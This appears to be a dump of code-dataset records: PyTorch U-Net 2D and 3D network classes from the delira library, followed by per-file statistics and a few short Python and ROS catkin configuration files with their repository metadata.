"with merge_mode \"add\" at the moment "
"because it doesn't make sense to use "
"nearest neighbour to reduce "
"depth channels (by half).")
self.num_classes = num_classes
self.in_channels = in_channels
self.start_filts = start_filts
self.depth = depth
self.down_convs = []
self.up_convs = []
self.conv_final = None
self._build_model(num_classes, in_channels, depth, start_filts)
self.reset_params()
@staticmethod
def weight_init(m):
"""
Initializes weights with xavier_normal and bias with zeros
Parameters
----------
m : torch.nn.Module
module to initialize
"""
if isinstance(m, torch.nn.Conv2d):
init.xavier_normal_(m.weight)
init.constant_(m.bias, 0)
def reset_params(self):
"""
Initialize all parameters
"""
for i, m in enumerate(self.modules()):
self.weight_init(m)
def forward(self, x):
"""
Feed tensor through network
Parameters
----------
x : torch.Tensor
Returns
-------
torch.Tensor
Prediction
"""
encoder_outs = []
# encoder pathway, save outputs for merging
for i, module in enumerate(self.down_convs):
x, before_pool = module(x)
encoder_outs.append(before_pool)
for i, module in enumerate(self.up_convs):
before_pool = encoder_outs[-(i + 2)]
x = module(before_pool, x)
# No softmax is used. This means you need to use
# torch.nn.CrossEntropyLoss is your training script,
# as this module includes a softmax already.
x = self.conv_final(x)
return {"pred": x}
@staticmethod
def closure(model, data_dict: dict, optimizers: dict, losses=None,
metrics=None, fold=0, **kwargs):
"""
closure method to do a single backpropagation step
Parameters
----------
model : :class:`ClassificationNetworkBasePyTorch`
trainable model
data_dict : dict
dictionary containing the data
optimizers : dict
dictionary of optimizers to optimize model's parameters
losses : dict
dict holding the losses to calculate errors
(gradients from different losses will be accumulated)
metrics : dict
dict holding the metrics to calculate
fold : int
Current Fold in Crossvalidation (default: 0)
**kwargs:
additional keyword arguments
Returns
-------
dict
Metric values (with same keys as input dict metrics)
dict
Loss values (with same keys as input dict losses)
list
Arbitrary number of predictions as torch.Tensor
Raises
------
AssertionError
if optimizers or losses are empty or the optimizers are not
specified
"""
if losses is None:
losses = {}
if metrics is None:
metrics = {}
assert (optimizers and losses) or not optimizers, \
"Loss dict cannot be emtpy, if optimizers are passed"
loss_vals = {}
metric_vals = {}
total_loss = 0
# choose suitable context manager:
if optimizers:
context_man = torch.enable_grad
else:
context_man = torch.no_grad
with context_man():
inputs = data_dict.pop("data")
preds = model(inputs)
if data_dict:
for key, crit_fn in losses.items():
_loss_val = crit_fn(preds["pred"], *data_dict.values())
loss_vals[key] = _loss_val.item()
total_loss += _loss_val
with torch.no_grad():
for key, metric_fn in metrics.items():
metric_vals[key] = metric_fn(
preds["pred"], *data_dict.values()).item()
if optimizers:
optimizers['default'].zero_grad()
# perform loss scaling via apex if half precision is enabled
with optimizers["default"].scale_loss(total_loss) \
as scaled_loss:
scaled_loss.backward()
optimizers['default'].step()
else:
# add prefix "val" in validation mode
eval_loss_vals, eval_metrics_vals = {}, {}
for key in loss_vals.keys():
eval_loss_vals["val_" + str(key)] = loss_vals[key]
for key in metric_vals:
eval_metrics_vals["val_" + str(key)] = metric_vals[key]
loss_vals = eval_loss_vals
metric_vals = eval_metrics_vals
return metric_vals, loss_vals, {k: v.detach()
for k, v in preds.items()}
def _build_model(self, num_classes, in_channels=3, depth=5,
start_filts=64):
"""
Builds the actual model
Parameters
----------
num_classes : int
number of output classes
in_channels : int
number of channels for the input tensor (default: 1)
depth : int
number of MaxPools in the U-Net (default: 5)
start_filts : int
number of convolutional filters for the first conv (affects all
other conv-filter numbers too; default: 64)
Notes
-----
The Helper functions and classes are defined within this function
because ``delira`` once offered a possibility to save the source
code along the weights to completely recover the network without
needing a manually created network instance and these helper
functions had to be saved too.
"""
def conv3x3(in_channels, out_channels, stride=1,
padding=1, bias=True, groups=1):
return torch.nn.Conv2d(
in_channels,
out_channels,
kernel_size=3,
stride=stride,
padding=padding,
bias=bias,
groups=groups)
def upconv2x2(in_channels, out_channels, mode='transpose'):
if mode == 'transpose':
return torch.nn.ConvTranspose2d(
in_channels,
out_channels,
kernel_size=2,
stride=2)
else:
# out_channels is always going to be the same
# as in_channels
return torch.nn.Sequential(
torch.nn.Upsample(mode='bilinear', scale_factor=2),
conv1x1(in_channels, out_channels))
def conv1x1(in_channels, out_channels, groups=1):
return torch.nn.Conv2d(
in_channels,
out_channels,
kernel_size=1,
groups=groups,
stride=1)
class DownConv(torch.nn.Module):
"""
A helper Module that performs 2 convolutions and 1 MaxPool.
A ReLU activation follows each convolution.
"""
def __init__(self, in_channels, out_channels, pooling=True):
super(DownConv, self).__init__()
self.in_channels = in_channels
self.out_channels = out_channels
self.pooling = pooling
self.conv1 = conv3x3(self.in_channels, self.out_channels)
self.conv2 = conv3x3(self.out_channels, self.out_channels)
if self.pooling:
self.pool = torch.nn.MaxPool2d(kernel_size=2, stride=2)
def forward(self, x):
x = F.relu(self.conv1(x))
x = F.relu(self.conv2(x))
before_pool = x
if self.pooling:
x = self.pool(x)
return x, before_pool
class UpConv(torch.nn.Module):
"""
A helper Module that performs 2 convolutions and 1
UpConvolution.
A ReLU activation follows each convolution.
"""
def __init__(self, in_channels, out_channels,
merge_mode='concat', up_mode='transpose'):
super(UpConv, self).__init__()
self.in_channels = in_channels
self.out_channels = out_channels
self.merge_mode = merge_mode
self.up_mode = up_mode
self.upconv = upconv2x2(
self.in_channels, self.out_channels, mode=self.up_mode)
if self.merge_mode == 'concat':
self.conv1 = conv3x3(
2 * self.out_channels, self.out_channels)
else:
# num of input channels to conv2 is same
self.conv1 = conv3x3(self.out_channels,
self.out_channels)
self.conv2 = conv3x3(self.out_channels, self.out_channels)
def forward(self, from_down, from_up):
from_up = self.upconv(from_up)
if self.merge_mode == 'concat':
x = torch.cat((from_up, from_down), 1)
else:
x = from_up + from_down
x = F.relu(self.conv1(x))
x = F.relu(self.conv2(x))
return x
outs = in_channels
# create the encoder pathway and add to a list
for i in range(depth):
ins = self.in_channels if i == 0 else outs
outs = start_filts * (2 ** i)
pooling = True if i < depth - 1 else False
down_conv = DownConv(ins, outs, pooling=pooling)
self.down_convs.append(down_conv)
# create the decoder pathway and add to a list
# - careful! decoding only requires depth-1 blocks
for i in range(depth - 1):
ins = outs
outs = ins // 2
up_conv = UpConv(ins, outs, up_mode=self.up_mode,
merge_mode=self.merge_mode)
self.up_convs.append(up_conv)
self.conv_final = conv1x1(outs, num_classes)
# add the list of modules to current module
self.down_convs = torch.nn.ModuleList(self.down_convs)
self.up_convs = torch.nn.ModuleList(self.up_convs)
@staticmethod
def prepare_batch(batch: dict, input_device, output_device):
"""
Helper Function to prepare Network Inputs and Labels (convert them
to correct type and shape and push them to correct devices)
Parameters
----------
batch : dict
dictionary containing all the data
input_device : torch.device
device for network inputs
output_device : torch.device
device for network outputs
Returns
-------
dict
dictionary containing data in correct type and shape and on
correct device
"""
return_dict = {"data": torch.from_numpy(batch.pop("data")).to(
input_device).to(torch.float)}
for key, vals in batch.items():
if key == "label" and len(vals.shape) == 4:
vals = vals[:, 0] # remove first axis if to many axis
# (channel dimension)
return_dict[key] = torch.from_numpy(vals).to(output_device).to(
torch.long)
return return_dict
class UNet3dPyTorch(AbstractPyTorchNetwork):
"""
The :class:`UNet3dPyTorch` is a convolutional encoder-decoder neural
network.
Contextual spatial information (from the decoding,
expansive pathway) about an input tensor is merged with
information representing the localization of details
(from the encoding, compressive pathway).
Notes
-----
Differences to the original paper:
* Working on 3D data instead of 2D slices
* padding is used in 3x3x3 convolutions to prevent loss of border
pixels
* merging outputs does not require cropping due to (1)
* residual connections can be used by specifying
``merge_mode='add'``
* if non-parametric upsampling is used in the decoder pathway (
specified by upmode='upsample'), then an additional 1x1x1 3d
convolution occurs after upsampling to reduce channel
dimensionality by a factor of 2. This channel halving happens
with the convolution in the tranpose convolution (specified by
``upmode='transpose'``)
References
----------
https://arxiv.org/abs/1505.04597
See Also
--------
:class:`UNet2dPyTorch`
"""
def __init__(self, num_classes, in_channels=3, depth=5,
start_filts=64, up_mode='transpose',
merge_mode='concat'):
"""
Parameters
----------
num_classes : int
number of output classes
in_channels : int
number of channels for the input tensor (default: 1)
depth : int
number of MaxPools in the U-Net (default: 5)
start_filts : int
number of convolutional filters for the first conv (affects all
other conv-filter numbers too; default: 64)
up_mode : str
type of upconvolution. Must be one of ['transpose', 'upsample']
if 'transpose':
Use transpose convolution for upsampling
if 'upsample':
Use trilinear Interpolation for upsampling (no additional
trainable parameters)
default: 'transpose'
merge_mode : str
mode of merging the two paths (with and without pooling). Must
be one of ['merge', 'add']
if 'merge':
Concatenates along the channel dimension (Original UNet)
if 'add':
Adds both tensors (Residual behaviour)
default: 'merge'
"""
super().__init__()
if up_mode in ('transpose', 'upsample'):
self.up_mode = up_mode
else:
raise ValueError("\"{}\" is not a valid mode for "
"upsampling. Only \"transpose\" and "
"\"upsample\" are allowed.".format(up_mode))
if merge_mode in ('concat', 'add'):
self.merge_mode = merge_mode
else:
raise ValueError("\"{}\" is not a valid mode for"
"merging up and down paths. "
"Only \"concat\" and "
"\"add\" are allowed.".format(up_mode))
# NOTE: up_mode 'upsample' is incompatible with merge_mode 'add'
if self.up_mode == 'upsample' and self.merge_mode == 'add':
raise ValueError("up_mode \"upsample\" is incompatible "
"with merge_mode \"add\" at the moment "
"because it doesn't make sense to use "
"nearest neighbour to reduce "
"depth channels (by half).")
self.num_classes = num_classes
self.in_channels = in_channels
self.start_filts = start_filts
self.depth = depth
self.down_convs = []
self.up_convs = []
self.conv_final = None
self._build_model(num_classes, in_channels, depth, start_filts)
self.reset_params()
@staticmethod
def weight_init(m):
"""
Initializes weights with xavier_normal and bias with zeros
Parameters
----------
m : torch.nn.Module
module to initialize
"""
if isinstance(m, torch.nn.Conv3d):
init.xavier_normal_(m.weight)
init.constant_(m.bias, 0)
def reset_params(self):
"""
Initialize all parameters
"""
for i, m in enumerate(self.modules()):
self.weight_init(m)
def forward(self, x):
"""
Feed tensor through network
Parameters
----------
x : torch.Tensor
Returns
-------
torch.Tensor
Prediction
"""
encoder_outs = []
# encoder pathway, save outputs for merging
for i, module in enumerate(self.down_convs):
x, before_pool = module(x)
encoder_outs.append(before_pool)
for i, module in enumerate(self.up_convs):
before_pool = encoder_outs[-(i + 2)]
x = module(before_pool, x)
# No softmax is used. This means you need to use
# torch.nn.CrossEntropyLoss is your training script,
# as this module includes a softmax already.
x = self.conv_final(x)
return {"pred": x}
@staticmethod
def closure(model, data_dict: dict, optimizers: dict, losses=None,
metrics=None, fold=0, **kwargs):
"""
closure method to do a single backpropagation step
Parameters
----------
model : :class:`ClassificationNetworkBasePyTorch`
trainable model
data_dict : dict
dictionary containing the data
optimizers : dict
dictionary of optimizers to optimize model's parameters
losses : dict
dict holding the losses to calculate errors
(gradients from different losses will be accumulated)
metrics : dict
dict holding the metrics to calculate
fold : int
Current Fold in Crossvalidation (default: 0)
**kwargs:
additional keyword arguments
Returns
-------
dict
Metric values (with same keys as input dict metrics)
dict
Loss values (with same keys as input dict losses)
list
Arbitrary number of predictions as torch.Tensor
Raises
------
AssertionError
if optimizers or losses are empty or the optimizers are not
specified
"""
if losses is None:
losses = {}
if metrics is None:
metrics = {}
assert (optimizers and losses) or not optimizers, \
"Loss dict cannot be emtpy, if optimizers are passed"
loss_vals = {}
metric_vals = {}
total_loss = 0
# choose suitable context manager:
if optimizers:
context_man = torch.enable_grad
else:
context_man = torch.no_grad
with context_man():
inputs = data_dict.pop("data")
preds = model(inputs)
if data_dict:
for key, crit_fn in losses.items():
_loss_val = crit_fn(preds["pred"],
*data_dict.values())
loss_vals[key] = _loss_val.item()
total_loss += _loss_val
with torch.no_grad():
for key, metric_fn in metrics.items():
metric_vals[key] = metric_fn(
preds["pred"], *data_dict.values()).item()
if optimizers:
optimizers['default'].zero_grad()
# perform loss scaling via apex if half precision is enabled
with optimizers["default"].scale_loss(total_loss) \
as scaled_loss:
scaled_loss.backward()
optimizers['default'].step()
else:
# add prefix "val" in validation mode
eval_loss_vals, eval_metrics_vals = {}, {}
for key in loss_vals.keys():
eval_loss_vals["val_" + str(key)] = loss_vals[key]
for key in metric_vals:
eval_metrics_vals["val_" + str(key)] = metric_vals[key]
loss_vals = eval_loss_vals
metric_vals = eval_metrics_vals
return metric_vals, loss_vals, {k: v.detach()
for k, v in preds.items()}
def _build_model(self, num_classes, in_channels=3, depth=5,
start_filts=64):
"""
Builds the actual model
Parameters
----------
num_classes : int
number of output classes
in_channels : int
number of channels for the input tensor (default: 1)
depth : int
number of MaxPools in the U-Net (default: 5)
start_filts : int
number of convolutional filters for the first conv (affects all
other conv-filter numbers too; default: 64)
Notes
-----
The Helper functions and classes are defined within this function
because ``delira`` once offered a possibility to save the source
code along the weights to completely recover the network without
needing a manually created network instance and these helper
functions had to be saved too.
"""
def conv3x3x3(in_channels, out_channels, stride=1,
padding=1, bias=True, groups=1):
return torch.nn.Conv3d(
in_channels,
out_channels,
kernel_size=3,
stride=stride,
padding=padding,
bias=bias,
groups=groups)
def upconv2x2x2(in_channels, out_channels, mode='transpose'):
if mode == 'transpose':
return torch.nn.ConvTranspose3d(
in_channels,
out_channels,
kernel_size=2,
stride=2)
else:
# out_channels is always going to be the same
# as in_channels
return torch.nn.Sequential(
torch.nn.Upsample(mode='trilinear', scale_factor=2),
conv1x1x1(in_channels, out_channels))
def conv1x1x1(in_channels, out_channels, groups=1):
return torch.nn.Conv3d(
in_channels,
out_channels,
kernel_size=1,
groups=groups,
stride=1)
class DownConv(torch.nn.Module):
"""
A helper Module that performs 2 convolutions and 1 MaxPool.
A ReLU activation follows each convolution.
"""
def __init__(self, in_channels, out_channels, pooling=True):
super(DownConv, self).__init__()
self.in_channels = in_channels
self.out_channels = out_channels
self.pooling = pooling
self.conv1 = conv3x3x3(self.in_channels, self.out_channels)
self.conv2 = conv3x3x3(
self.out_channels, self.out_channels)
if self.pooling:
self.pool = torch.nn.MaxPool3d(kernel_size=2, stride=2)
def forward(self, x):
x = F.relu(self.conv1(x))
x = F.relu(self.conv2(x))
before_pool = x
if self.pooling:
x = self.pool(x)
return x, before_pool
class UpConv(torch.nn.Module):
"""
A helper Module that performs 2 convolutions and 1
UpConvolution.
A ReLU activation follows each convolution.
"""
def __init__(self, in_channels, out_channels,
merge_mode='concat', up_mode='transpose'):
super(UpConv, self).__init__()
self.in_channels = in_channels
self.out_channels = out_channels
self.merge_mode = merge_mode
self.up_mode = up_mode
self.upconv = upconv2x2x2(
self.in_channels, self.out_channels, mode=self.up_mode)
if self.merge_mode == 'concat':
self.conv1 = conv3x3x3(
2 * self.out_channels, self.out_channels)
else:
# num of input channels to conv2 is same
self.conv1 = conv3x3x3(self.out_channels,
self.out_channels)
self.conv2 = conv3x3x3(
self.out_channels, self.out_channels)
def forward(self, from_down, from_up):
from_up = self.upconv(from_up)
if self.merge_mode == 'concat':
x = torch.cat((from_up, from_down), 1)
else:
x = from_up + from_down
x = F.relu(self.conv1(x))
x = F.relu(self.conv2(x))
return x
outs = in_channels
# create the encoder pathway and add to a list
for i in range(depth):
ins = self.in_channels if i == 0 else outs
outs = start_filts * (2 ** i)
pooling = True if i < depth - 1 else False
down_conv = DownConv(ins, outs, pooling=pooling)
self.down_convs.append(down_conv)
# create the decoder pathway and add to a list
# - careful! decoding only requires depth-1 blocks
for i in range(depth - 1):
ins = outs
outs = ins // 2
up_conv = UpConv(ins, outs, up_mode=self.up_mode,
merge_mode=self.merge_mode)
self.up_convs.append(up_conv)
self.conv_final = conv1x1x1(outs, num_classes)
# add the list of modules to current module
self.down_convs = torch.nn.ModuleList(self.down_convs)
self.up_convs = torch.nn.ModuleList(self.up_convs)
@staticmethod
def prepare_batch(batch: dict, input_device, output_device):
"""
Helper Function to prepare Network Inputs and Labels (convert them
to correct type and shape and push them to correct devices)
Parameters
----------
batch : dict
dictionary containing all the data
input_device : torch.device
device for network inputs
output_device : torch.device
device for network outputs
Returns
-------
dict
dictionary containing data in correct type and shape and on
correct device
"""
return_dict = {"data": torch.from_numpy(batch.pop("data")).to(
input_device).to(torch.float)}
for key, vals in batch.items():
if key == "label" and len(vals.shape) == 5:
vals = vals[:, 0] # remove first axis if to many axis
# (channel dimension)
return_dict[key] = torch.from_numpy(vals).to(output_device).to(
torch.long)
return return_dict
| 37.198901
| 79
| 0.495022
| 3,394
| 33,851
| 4.794932
| 0.121096
| 0.030724
| 0.022121
| 0.023227
| 0.953853
| 0.948937
| 0.948937
| 0.945619
| 0.944021
| 0.94144
| 0
| 0.011492
| 0.431893
| 33,851
| 909
| 80
| 37.239824
| 0.834746
| 0.302768
| 0
| 0.892231
| 0
| 0
| 0.051914
| 0
| 0
| 0
| 0
| 0
| 0.005013
| 1
| 0.070175
| false
| 0.005013
| 0.015038
| 0.010025
| 0.145363
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
733d36c961650011b85098564d333ef2e34beb29
| 44
|
py
|
Python
|
phantasy/facility/__init__.py
|
phantasy-project/phantasy
|
ac362cd3a80f7d1cfc68c0722f8a4aad504d1edd
|
[
"BSD-3-Clause"
] | null | null | null |
phantasy/facility/__init__.py
|
phantasy-project/phantasy
|
ac362cd3a80f7d1cfc68c0722f8a4aad504d1edd
|
[
"BSD-3-Clause"
] | 1
|
2021-11-10T14:56:41.000Z
|
2021-11-10T14:56:41.000Z
|
phantasy/facility/__init__.py
|
archman/phantasy
|
ac362cd3a80f7d1cfc68c0722f8a4aad504d1edd
|
[
"BSD-3-Clause"
] | 1
|
2018-09-27T17:03:32.000Z
|
2018-09-27T17:03:32.000Z
|
from .frib import INI_DICT as FRIB_INI_DICT
| 22
| 43
| 0.840909
| 9
| 44
| 3.777778
| 0.666667
| 0.411765
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.136364
| 44
| 1
| 44
| 44
| 0.894737
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
735761db4f73db6e4b5386d5beef76401652931a
| 531
|
py
|
Python
|
blog/converters.py
|
asekede/asekede
|
4cd2882aa797a44b7c2b9af4ef0c83f887759705
|
[
"Unlicense"
] | null | null | null |
blog/converters.py
|
asekede/asekede
|
4cd2882aa797a44b7c2b9af4ef0c83f887759705
|
[
"Unlicense"
] | 3
|
2018-04-15T15:16:19.000Z
|
2018-04-30T11:39:41.000Z
|
blog/converters.py
|
asekede/asekede
|
4cd2882aa797a44b7c2b9af4ef0c83f887759705
|
[
"Unlicense"
] | null | null | null |
class TwoDigitDayConverter:
regex = '[0-9]{2}'
def to_python(self, value):
return int(value)
def to_url(self, value):
return '%02d' % int(value)
class TwoDigitMonthConverter:
regex = '[0-9]{2}'
def to_python(self, value):
return int(value)
def to_url(self, value):
return '%02d' % int(value)
class FourDigitYearConverter:
regex = '[0-9]{4}'
def to_python(self, value):
return int(value)
def to_url(self, value):
return '%04d' % int(value)
| 19.666667
| 34
| 0.589454
| 69
| 531
| 4.449275
| 0.275362
| 0.09772
| 0.29316
| 0.14658
| 0.713355
| 0.713355
| 0.713355
| 0.713355
| 0.713355
| 0.713355
| 0
| 0.03866
| 0.269303
| 531
| 26
| 35
| 20.423077
| 0.752577
| 0
| 0
| 0.722222
| 0
| 0
| 0.067797
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0.333333
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 10
|
b4149d00285c467fd919160ea4c941c394752e98
| 251
|
py
|
Python
|
pyperp/contracts/__init__.py
|
DeveloperInProgress/PyPerp
|
1a307e564a45c85f2348af721f896677c99232fe
|
[
"MIT"
] | 9
|
2021-09-30T11:03:19.000Z
|
2022-01-27T16:21:41.000Z
|
pyperp/contracts/__init__.py
|
DeveloperInProgress/PyPerp
|
1a307e564a45c85f2348af721f896677c99232fe
|
[
"MIT"
] | 3
|
2021-10-10T10:25:54.000Z
|
2021-12-13T21:28:05.000Z
|
pyperp/contracts/__init__.py
|
DeveloperInProgress/PyPerp
|
1a307e564a45c85f2348af721f896677c99232fe
|
[
"MIT"
] | 1
|
2021-11-08T03:04:20.000Z
|
2021-11-08T03:04:20.000Z
|
from pyperp.contracts.accountBalance import *
from pyperp.contracts.clearingHouse import *
from pyperp.contracts.marketRegistry import *
from pyperp.contracts.orderBook import *
from pyperp.contracts.vault import *
from pyperp.contracts.types import *
| 41.833333
| 45
| 0.836653
| 30
| 251
| 7
| 0.333333
| 0.285714
| 0.542857
| 0.595238
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.091633
| 251
| 6
| 46
| 41.833333
| 0.921053
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
b45cc5875de1b544852b880badcc428f26158176
| 4,800
|
py
|
Python
|
utilities/vision_opencv/image_geometry/catkin_generated/pkg.installspace.context.pc.py
|
mrsd16teamd/loco_car
|
36e4ed685f9463ad689ca72eec80e0f05f1ad66c
|
[
"MIT"
] | 48
|
2016-11-10T06:00:27.000Z
|
2022-03-01T12:57:23.000Z
|
utilities/vision_opencv/image_geometry/catkin_generated/pkg.installspace.context.pc.py
|
mrsd16teamd/loco_car
|
36e4ed685f9463ad689ca72eec80e0f05f1ad66c
|
[
"MIT"
] | 6
|
2017-04-03T05:39:06.000Z
|
2017-07-27T02:35:44.000Z
|
utilities/vision_opencv/image_geometry/catkin_generated/pkg.installspace.context.pc.py
|
mrsd16teamd/loco_car
|
36e4ed685f9463ad689ca72eec80e0f05f1ad66c
|
[
"MIT"
] | 20
|
2017-02-28T13:24:31.000Z
|
2021-12-06T12:36:46.000Z
|
# generated from catkin/cmake/template/pkg.context.pc.in
CATKIN_PACKAGE_PREFIX = ""
PROJECT_PKG_CONFIG_INCLUDE_DIRS = "/usr/local/include;/opt/ros/indigo/include/opencv-3.1.0-dev/opencv;/opt/ros/indigo/include/opencv-3.1.0-dev".split(';') if "/usr/local/include;/opt/ros/indigo/include/opencv-3.1.0-dev/opencv;/opt/ros/indigo/include/opencv-3.1.0-dev" != "" else []
PROJECT_CATKIN_DEPENDS = "sensor_msgs".replace(';', ' ')
PKG_CONFIG_LIBRARIES_WITH_PREFIX = "-limage_geometry;-l:/opt/ros/indigo/lib/libopencv_xphoto3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_xobjdetect3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_ximgproc3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_xfeatures2d3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_tracking3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_text3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_surface_matching3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_structured_light3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_stereo3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_saliency3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_rgbd3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_reg3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_plot3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_optflow3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_line_descriptor3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_fuzzy3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_face3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_dpm3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_dnn3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_datasets3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_ccalib3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_bioinspired3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_bgsegm3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_aruco3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_viz3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_videostab3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_videoio3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_video3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_superres3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_stitching3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_shape3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_photo3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_objdetect3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_ml3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_imgproc3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_imgcodecs3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_highgui3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_flann3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_features2d3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_core3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_calib3d3.so.3.1.0".split(';') if "-limage_geometry;-l:/opt/ros/indigo/lib/libopencv_xphoto3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_xobjdetect3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_ximgproc3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_xfeatures2d3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_tracking3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_text3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_surface_matching3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_structured_light3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_stereo3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_saliency3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_rgbd3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_reg3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_plot3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_optflow3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_line_descriptor3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_fuzzy3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_face3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_dpm3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_dnn3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_datasets3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_ccalib3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_bioinspired3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_bgsegm3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_aruco3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_viz3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_videostab3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_videoio3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_video3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_superres3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_stitching3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_shape3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_photo3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_objdetect3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_ml3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_imgproc3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_imgcodecs3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_highgui3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_flann3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_features2d3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_core3.so.3.1.0;-l:/opt/ros/indigo/lib/libopencv_calib3d3.so.3.1.0" != "" else []
PROJECT_NAME = "image_geometry"
PROJECT_SPACE_DIR = "/usr/local"
PROJECT_VERSION = "1.12.2"
| 533.333333
| 4,284
| 0.762083
| 1,004
| 4,800
| 3.535857
| 0.090637
| 0.145352
| 0.290704
| 0.300282
| 0.931268
| 0.931268
| 0.931268
| 0.931268
| 0.931268
| 0.931268
| 0
| 0.073514
| 0.008125
| 4,800
| 8
| 4,285
| 600
| 0.672128
| 0.01125
| 0
| 0
| 1
| 0.571429
| 0.943297
| 0.933811
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
